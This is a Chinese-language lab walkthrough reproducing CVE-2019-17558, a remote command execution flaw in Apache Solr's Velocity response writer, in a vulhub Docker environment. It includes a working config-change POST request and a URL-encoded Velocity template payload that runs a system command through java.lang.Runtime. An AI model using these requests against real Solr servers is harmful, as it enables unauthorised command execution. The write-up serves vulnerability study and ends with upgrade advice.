Apache Solr Velocity注入远程命令执行漏洞CVE-2019-17558
漏洞简介
Apache solr介绍
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。
漏洞成因
1、当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
2、Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。 当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。
漏洞影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
漏洞复现
环境搭建
使用vulhub搭建环境
进入漏洞相关目录
启动靶场环境
docker-compose up -d
查看 环境所占用端口
docker ps
访问环境地址 出现以下界面 说明环境搭建成功

漏洞复现
1、我们先通过如下API获取所有的core名称
http://192.168.30.134:8983/solr/admin/cores?indexInfo=false&wt=json
core:运行在Solr服务器中的具有唯一命名的、可管理、可配置的索引,一台Solr可以托管一个或多个索引。
存在一个demo索引

2、利用demo索引 修改params.resource.loader.enabled的值为true
只有params.resource.loader.enabled的值为true 才可以使用用户自定义模板
查看配置
http://192.168.30.134:8983/solr/demo/config

发送以下数据包修改params.resource.loader.enabled的值为true
POST /solr/demo/config HTTP/1.1
Host: 192.168.30.134:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
再次查看配置文件 发现params.resource.loader.enabled的值更改为true

3、注入用户自定义模板 执行各种命令
http://192.168.30.134:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
命令执行成功

修复建议:
建议升级Appache Salc到最新版
参考文章:
https://www.hacking8.com/bug-product/Apache-Solr/Apache-Solr-Velocity%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html
更多推荐
所有评论(0)